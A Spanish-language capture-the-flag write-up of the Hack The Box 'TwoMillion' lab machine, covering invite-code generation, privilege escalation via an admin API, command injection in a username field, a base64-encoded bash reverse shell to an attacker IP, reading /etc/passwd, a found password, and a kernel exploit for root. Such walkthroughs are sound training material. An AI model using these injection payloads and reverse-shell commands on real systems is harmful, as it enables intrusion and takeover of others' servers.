Twomillion - WriteUp
🎯 Machine Info
Máquina Linux
Se trata de la antigua “prueba de acceso” que tenía Hack The Box en sus inicios para poder registrarte y darte de alta como usuario. Actualmente ya no existe.
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
# Nmap 7.94SVN scan initiated Wed Nov 29 11:05:30 2023 as: nmap -sCV -p 22,80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targeted.xml 10.129.229.66
Nmap scan report for 10.129.229.66
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Agregamos el NS 2million.htb al archivo hosts ya que se acontece un virtual hosting.
HTTP
La web es un rompecabezas en el que tenemos que obtener un código de invitación para poder registrarte en la misma y obtener acceso.
Lo primero que vamos a averiguar es la función que genera el código de invitación.
Si nos vamos a la página http://2million.htb/invite y examinamos el código fuente con Ctrl+U veremos la función en JS que se ejecuta por detrás.
Si pinchamos sobre el enlace de la función veremos su código fuente, pero está ofuscado para que no lo podamos entender de primeras.
Copiamos el código y nos vamos a la página https://lelinhtinh.github.io/de4js/ que es un desofuscador de código online.
Pegamos el código copia y pulsamos en la opción “Eval”.
Encontramos una función llamada “makeInviteCode()” y una URL a la que poder enviar un POST para generar supuestamente el código que estamos buscando.
Vamos a probar de enviar un POST a esa API mediante cURL:
1
$ curl -X POST http://2million.htb/api/v1/invite/how/to/generate
Y recibimos la siguiente respuesta:
1
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}%
Tenemos un mensaje encriptado con ROT13. Vamos a desencriptarlo.
1
$ echo 'Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr' | tr 'A-Za-z' 'N-ZA-Mn-za-m'
Y nos devuelve el siguiente mensaje…
1
"In order to generate the invite code, make a POST request to /api/v1/invite/generate"
Le hacemos caso y hacemos la solicitud…
1
2
3
$ curl -X POST http://2million.htb/api/v1/invite/generate
{"0":200,"success":1,"data":{"code":"WVhVRjgtSlAySVMtQkNFU0QtT1ZQUkg=","format":"encoded"}}%
El código que nos devuelve parece que está en base64, vamos a decodificarlo.
1
2
3
$ echo -n "WVhVRjgtSlAySVMtQkNFU0QtT1ZQUkg=" | base64 -d ;echo
YXUF8-JP2IS-BCESD-OVPRH
Y tenemos el código!
Vamos a probarlo…
Rellenamos los campos…
Y entramos con los datos proporcionados en el registro…
Y estamos dentro…
Ahora vamos a hacer una petición GET normal a la API por si nos devolviera algo, el comando jq es para que nos lo devuelva bonito:
1
$ curl -sv 2million.htb/api
Y nos devuelve nuestra cookie de inicio de sesión. Vamos a hacer la misma petición pero con la cookie y atacando a la API:
1
$ curl -sv 2million.htb/api/v1 --cookie "PHPSESSID=7286h49ko0ktvsoe2qm05l33hk" | jq
Tenemos todas las rutas de la API. Pero las que nos llama la atención son las que hacen referencia a admin.
Vamos a intentar solicitar a esta API de administrador nuevas cookies de inicio de sesión.
1
2
3
4
5
6
$ curl -sv -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" | jq
{
"status": "danger",
"message": "Invalid content type."
}
Recibimos un “Invalid content type”
Vamos a probar con meterle una cabecera del tipo JSON a la petición:
1
2
3
4
5
6
$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" --header "Content-Type: application/json" | jq
{
"status": "danger",
"message": "Missing parameter: email"
}
Y nos dice que faltael parámetro “email”, vamos a darle el nuestro:
1
2
3
4
5
6
$ url -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" --header "Content-Type: application/json" --data '{"email":"test@test.com"}' | jq
{
"status": "danger",
"message": "Missing parameter: is_admin"
}
Parece que ahora nos falta otro parámetro, “is_admin”, se lo pondremos a true.
1
2
3
4
5
6
$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" --header "Content-Type: application/json" --data '{"email":"test@test.com","is_admin":true}' | jq
{
"status": "danger",
"message": "Variable is_admin needs to be either 0 or 1."
}
Solo admite 0 o 1, se lo ponemos a 1.
1
2
3
4
5
6
7
$ curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" --header "Content-Type: application/json" --data '{"email":"test@test.com","is_admin":1}' | jq
{
"id": 13,
"username": "test",
"is_admin": 1
}
Ahora si parece que le ha gustado. Nos vamos a la página en el navegador y refrescamos…
Vemos que no pasa nada.
Vamos a hacer uso de la API para que nos genere una conexión nueva
1
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" --header "Content-Type: application/json" --data '{"username":"test"}'
No hace nada.
Buscando en internet formas de explotar la API probamos maneras hasta dar con la que funciona. Añadimos el comando ejecutar como segundo parámetro en el campo del nombre del usuario, quedando así:
1
2
3
$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" --header "Content-Type: application/json" --data '{"username":"test;id;"}'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1
2
3
4
5
$ curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" --header "Content-Type: application/json" --data '{"username":"test;cat /etc/passwd | grep -i bash;"}'
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
admin:x:1000:1000::/home/admin:/bin/bash
Ahora vamos a intentar conseguir una reverse shell. Para ello codificaremos el payload en base64 para no tener problemas con los caracteres especiales.
1
2
3
$ echo -n "bash -i >& /dev/tcp/10.10.16.25/4444 0>&1" | base64 ;echo
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNS80NDQ0IDA+JjE=
Una vez tenemos el payload codificado nos ponemos a la escucha con NetCat en el puerto indicado:
1
$ nc -nlvp 4444
Ejecutamos la solicitud POST a la API con el payload:
1
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=3avl7l5vlq8u0flt5ljtfqgd61" --header "Content-Type: application/json" --data '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNS80NDQ0IDA+JjE= | base64 -d | bash;"}'
Y obtenemos acceso a la consola. Dentro!
Sanitizamos y empezamos la enumeración.
Nada más entrar descubrimos unas credenciales de acceso:
1
admin:SuperDuperPass123
Cambiamos al usuario admin:
1
2
$ su admin
Password:
Registramos la primera bandera y seguimos.
Enumerando el contenido del host, encontramos en /var/mail un archivo de texto (admin) en formato correo electrónico con el siguiente contenido:
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.
HTB Godfather
Con las pistas que nos da el texto del email, encontramos el siguiente exploit: https://github.com/sxlmnwb/CVE-2023-0386
Nos lo descargamos en formato .zip y lo compartimos en nuestra máquina. Desde la máquina victima lo cogemos con wget y lo movemos a /tmp. Una vez ahí lo descomprimimos con unzip. Entramos en la carpeta resultante y ejecutamos un make all ignorando los warnings de compilación.
Creamos otra conexión hacia la máquina conectándonos por ssh con las credenciales del usuario admin En una consola ejecutamos una parte del exploit y en la que ya teníamos abierta la otra parte como nos indican.
Perfecto! Somos root y podemos registrar la última bandera!
Última actualización: 2025-04-16
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0















